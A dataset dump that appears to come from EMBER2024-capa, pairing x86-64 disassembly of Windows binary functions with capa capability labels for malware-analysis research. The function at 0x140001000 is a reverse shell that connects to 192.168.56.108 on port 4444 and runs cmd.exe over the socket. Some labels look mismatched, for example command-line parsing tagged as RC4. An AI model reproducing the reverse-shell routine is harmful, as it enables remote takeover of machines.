joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002008c
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, r8
lea rax, [r11 + 0x20]
lea r9, [r11 - 0x18]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x28], rdx
mov rdx, rcx
mov rcx, qword [rdi]
xor r8d, r8d
mov dword [rsp + 0x68], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rdi]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp ebx, eax
jne 0x1000200df
cmp dword [rsp + 0x30], 4
jne 0x1000200df
mov eax, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x100020d7c
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [0x100032d90], 0
jne 0x100020e38
lea rdx, [0x100001900]
xor ecx, ecx
mov dword [0x100032d90], 1
xor esi, esi
call fcn.100020e50
lea rdx, [0x100001900]
xor ecx, ecx
mov rdi, rax
call fcn.100020e50
mov rbx, rax
test rdi, rdi
je 0x100020dd5
test rax, rax
je 0x100020dd5
cmp rdi, rax
jne 0x100020dda
mov esi, 1
test rdi, rdi
je 0x100020de7
mov rcx, rdi
call fcn.100025d16
test rbx, rbx
je 0x100020df9
cmp rbx, rdi
je 0x100020df9
mov rcx, rbx
call fcn.100025d16
xor ecx, ecx
call fcn.100025d16
test esi, esi
je 0x100020e38
lea rcx, [0x100013220]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [0x100013280]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [0x1000132e0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [0x100013338]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x100020e74
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
imul r9d, dword [rsp + 0x50]
mov rbx, rdx
mov rbp, rcx
mov edi, r9d
add rdi, rdx
cmp rdx, rdi
jae 0x100020fa5
mov r13d, dword [rsp + 0x50]
mov r14d, dword [rsp + 0x58]
mov eax, r8d
lea rsi, [rdx + rax*4]
mov edx, 0xffc03fc0
lea r12, [r13 + r13]
mov r15, rbx
cmp rbx, rsi
jae 0x100020f93
mov r14, rbp
mov r11d, dword [r15 + 4]
mov r9d, dword [r15]
mov r10d, dword [r13 + r15]
mov r8d, dword [r13 + r15 + 4]
mov ecx, r9d
mov eax, r11d
shr eax, 2
shr ecx, 2
add r15, 8
and eax, edx
and ecx, edx
add ecx, eax
mov eax, r10d
shr eax, 2
and eax, edx
add ecx, eax
mov eax, r8d
shr eax, 2
and eax, edx
lea edx, [rcx + rax - 0x7fff80]
mov ecx, r10d
shr r10d, 2
and ecx, 0xff00ff
mov eax, r8d
shr r8d, 2
and eax, 0xff00ff
add ecx, eax
mov eax, r9d
shr r9d, 2
and eax, 0xff00ff
add ecx, eax
mov eax, r11d
shr r11d, 2
and eax, 0xff00ff
lea ecx, [rcx + rax + 0x20002]
shr ecx, 2
xor edx, ecx
mov ecx, 0x3fc03fc0
and r10d, ecx
and edx, 0xff00ff
and r8d, ecx
add r10d, r8d
and r9d, ecx
and r11d, ecx
add r10d, r9d
lea eax, [r10 + r11 + 0x800080]
xor edx, eax
mov dword [r14], edx
add r14, 4
mov edx, 0xffc03fc0
cmp r15, rsi
jb 0x100020ed1
mov r14d, dword [rsp + 0x58]
add rbx, r12
add rbp, r14
add rsi, r12
cmp rbx, rdi
jb 0x100020ec2
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x100021150
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x100028110]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor ebx, ebx
cmp dword [0x100032cf0], ebx
je 0x100021188
cmp qword [0x100032cd8], rbx
setne bl
jmp 0x1000212fa
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x90
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov r11d, ebx
sete r11b
lea rcx, [0x100015170]
mov dword [0x100032cf4], r11d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
cmp rax, rbx
je 0x1000212bf
lea rdx, [0x100015180]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032cb8], rax
cmp rax, rbx
je 0x1000212bf
lea rdx, [0x100015198]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032cc0], rax
cmp rax, rbx
je 0x1000212bf
lea rdx, [0x1000151b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032cc8], rax
cmp rax, rbx
je 0x1000212bf
lea rdx, [0x1000151c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032cd0], rax
cmp rax, rbx
je 0x1000212bf
lea rdx, [0x1000151d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032ce0], rax
cmp rax, rbx
je 0x1000212bf
lea rdx, [0x1000151f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032ce8], rax
cmp rax, rbx
je 0x1000212bf
mov rcx, rdi
lea rdx, [0x100015208]
cmp dword [0x100032cf4], ebx
jne 0x1000212a6
lea rdx, [0x100015218]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x100032cd8], rax
cmp rax, rbx
je 0x1000212bf
mov ebx, 1
jmp 0x1000212f0
mov qword [0x100032cb8], rbx
mov qword [0x100032cc0], rbx
mov qword [0x100032cc8], rbx
mov qword [0x100032cd0], rbx
mov qword [0x100032cd8], rbx
mov qword [0x100032ce0], rbx
mov qword [0x100032ce8], rbx
mov dword [0x100032cf0], 1
mov eax, ebx
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.100025cf0
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rdi
ret
Function at 0x1000219d4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x850
mov rax, qword [0x100028110]
xor rax, rsp
mov qword [rsp + 0x840], rax
xor esi, esi
mov rbx, rdx
mov rdi, rcx
mov qword [rcx + 0x18], rsi
movzx eax, word [rdx]
cmp ax, 0x22
jne 0x100021a34
jmp 0x100021a15
cmp ax, 0x22
je 0x100021a3f
add rbx, 2
movzx eax, word [rbx]
cmp ax, si
jne 0x100021a0f
cmp ax, 0x22
jmp 0x100021a3d
cmp ax, 0x20
je 0x100021a3f
add rbx, 2
mov ax, word [rbx]
cmp ax, si
jne 0x100021a27
cmp word [rbx], 0x20
jne 0x100021a43
add rbx, 2
movzx eax, word [rbx]
cmp ax, si
je 0x100021b97
cmp ax, 0x2f
je 0x100021a67
cmp ax, 0x2d
je 0x100021a67
add rbx, 2
mov ax, word [rbx]
cmp ax, si
jne 0x100021a4f
cmp word [rbx], si
je 0x100021b97
movzx eax, word [rbx + 2]
cmp eax, 0x43
je 0x100021b23
cmp eax, 0x50
je 0x100021aae
cmp eax, 0x54
je 0x100021aa4
cmp eax, 0x63
je 0x100021b23
cmp eax, 0x70
je 0x100021aae
cmp eax, 0x74
je 0x100021aa4
mov eax, 2
jmp 0x100021b99
mov eax, 3
jmp 0x100021b99
add rbx, 4
jmp 0x100021ac4
movzx ecx, ax
call sub.msvcrt.dll_iswdigit
cmp eax, esi
jne 0x100021acc
add rbx, 2
movzx eax, word [rbx]
cmp ax, si
jne 0x100021ab4
movzx ecx, word [rbx]
call sub.msvcrt.dll_iswdigit
cmp eax, esi
je 0x100021b1c
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rsi
or r9d, 0xffffffff
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x7ff
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x83f], sil
call qword [sym.imp.msvcrt.dll__atoi64]
mov qword [rdi + 0x18], rax
mov eax, 1
jmp 0x100021b99
add rbx, 4
jmp 0x100021b39
movzx ecx, ax
call sub.msvcrt.dll_iswdigit
cmp eax, esi
jne 0x100021b41
add rbx, 2
movzx eax, word [rbx]
cmp ax, si
jne 0x100021b29
movzx ecx, word [rbx]
call sub.msvcrt.dll_iswdigit
cmp eax, esi
je 0x100021b93
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rsi
or r9d, 0xffffffff
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0x7ff
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x83f], sil
call qword [sym.imp.msvcrt.dll__atoi64]
mov qword [rdi + 0x18], rax
jmp 0x100021b97
mov qword [rdi + 0x18], rsi
xor eax, eax
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.100025cf0
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1000246d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x170
mov rax, qword [0x100028110]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov r12, rdx
xor edx, edx
mov rsi, rcx
lea r8d, [rdx + 0x10]
lea rcx, [rsp + 0x68]
call sub.msvcrt.dll_memset
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x10]
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x50]
lea rax, [rsi + 0xc]
mov qword [rsp + 0x28], rcx
lea rdx, [0x100015478]
xor r9d, r9d
mov rcx, r12
xor r8d, r8d
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor edi, edi
cmp dword [rsi + 0x1798], edi
jbe 0x1000248e9
lea rbx, [rsi + 0x570]
cmp dword [rbx], 0xffffffff
je 0x1000248d4
mov eax, dword [rbx]
lea r9d, [rdi + 1]
lea r8, [0x100015498]
mov rbp, qword [rsi + rax*8 + 0x2408]
lea rcx, [rsp + 0x90]
mov edx, 0x64
call fcn.100021504
and qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x90]
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
mov dword [rsp + 0x28], 0x20019
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000248d4
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
lea rdx, [0x1000154b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x60], 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rcx, [rsp + 0x50]
lea rax, [rbp + 0x2ba4]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x58]
lea rdx, [0x1000154c8]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rax, [rsp + 0x68]
mov rcx, qword [rax]
cmp rcx, qword [rbp + 0x440]
jne 0x100024861
mov rcx, qword [rax + 8]
cmp rcx, qword [rbp + 0x448]
jne 0x100024861
xor eax, eax
jmp 0x100024866
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100024893
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x78]
mov rdx, qword [rax]
cmp rdx, qword [rcx]
jne 0x10002488a
mov rdx, qword [rax + 8]
cmp rdx, qword [rcx + 8]
jne 0x10002488a
xor eax, eax
jmp 0x10002488f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000248c9
lea rcx, [rsp + 0x50]
lea rax, [rbp + 0x2ba8]
lea rdx, [0x1000154e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc edi
add rbx, 0x240
cmp edi, dword [rsi + 0x1798]
jb 0x100024763
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.100025cf0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x100025f48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100025f95
cmp rcx, 0xffffffffffffffff
je 0x100025f95
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x100025f8d
cmp dword [rcx + 0x3c], edx
jl 0x100025f8d
cmp dword [rcx + 0x3c], 0x10000000
jae 0x100025f8d
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100025f95
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001000
Capabilities:
Connect socket
Create process on windows
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x410
mov eax, dword [0x140002298]
lea rcx, [rsp + 0x80]
movsd xmm0, qword [str.192.168.56.108]
xor edx, edx
mov dword [rsp + 0x60], eax
mov r8d, 0x1ee
movzx eax, word [0x14000229c]
mov word [rsp + 0x64], ax
movzx eax, byte [0x14000229e]
mov byte [rsp + 0x66], al
mov eax, dword [str.4444]
movsd qword [rsp + 0x58], xmm0
movups xmm0, xmmword [str.cmd.exe]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1400022a4]
mov byte [rsp + 0x54], al
movaps xmmword [rsp + 0x70], xmm0
call sub.VCRUNTIME140.dll_memset
xor edi, edi
lea esi, [rdi + 2]
nop dword [rax]
mov ecx, 0x202
lea rdx, [rsp + 0x270]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov ecx, esi
mov dword [rsp + 0x20], edi
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, [rsp + 0x58]
mov rbx, rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x1400010ce
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001080
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, [rsp + 0x58]
mov r8, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rsp + 0x50]
mov word [0x1400031a8], si
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rsp + 0x58]
mov word [0x1400031aa], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rdx, [0x1400031a8]
mov rcx, rbx
mov dword [0x1400031ac], eax
mov qword [rsp + 0x20], rdi
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x14000115d
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001080
xorps xmm0, xmm0
mov qword [0x1400031a0], rbx
movups xmmword [0x140003190], xmm0
lea rax, [0x140003120]
mov qword [0x140003198], rbx
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x70]
lea rax, [0x140003140]
mov qword [0x140003190], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
movups xmmword [0x140003140], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [0x140003170], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [0x140003150], xmm0
mov dword [0x140003140], 0x68
movups xmmword [0x140003160], xmm0
mov dword [0x14000317c], 0x100
movups xmmword [0x140003180], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea r11, [rsp + 0x410]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001970
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019bc
xor al, al
add rsp, 0x28
ret
Function at 0x140027db0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b754
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b754
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f00
cmp rax, 0xffffffffffffffff
je 0x140027f00
xor edi, edi
test rbp, rbp
jle 0x140027eab
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001dd40
mov rbx, rax
test rax, rax
jne 0x140027e38
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027ea1
mov edx, 0x8000
mov ecx, r14d
call fcn.1400158f8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c430
cmp eax, 0xffffffff
je 0x140027e81
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027e48
mov edx, r15d
mov ecx, r14d
call fcn.1400158f8
jmp 0x140027ea1
cmp byte [rsi + 0x38], dil
je 0x140027e98
cmp dword [rsi + 0x34], 5
jne 0x140027e98
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027ea1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019e18
jmp 0x140027f14
jns 0x140027f14
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b754
cmp rax, 0xffffffffffffffff
jne 0x140027ecc
cmp byte [rsi + 0x30], dil
je 0x140027f14
mov edi, dword [rsi + 0x2c]
jmp 0x140027f14
mov ecx, r14d
call fcn.140016ef8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f14
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f0d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f12
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b754
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001c88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cd4
xor al, al
add rsp, 0x28
ret
Function at 0x140002a70
Capabilities:
Hash data using fnv

Disassembly:
movsx eax, byte [rcx]
test al, al
jne 0x140002a7a
mov eax, edx
ret
xor eax, edx
imul edx, eax, 0x1000193
inc rcx
jmp fcn.140002a70
Function at 0x1400092d0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400092f8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000931e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140009320
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140009379
test ecx, ecx
jle 0x140009359
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140009379
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140009379
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x1400093a0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400093c2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1400093d8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400093f4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400093f6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140009432
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400094ce
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000946d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400094ae
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400094ce
cmp rbx, rax
ja 0x140009480
test rbx, rbx
je 0x1400094ce
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400098d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140146028]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400098fd
xor eax, eax
jmp 0x140009a69
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140009937
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140009937
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140009a69
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140009a5c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000997a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400099a5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140009a61
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009a14
sub eax, 1
je 0x140009a14
cmp eax, 2
jne 0x140009a5c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140009a61
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140009a42
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140009a5c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140009a61
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400e7ab0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret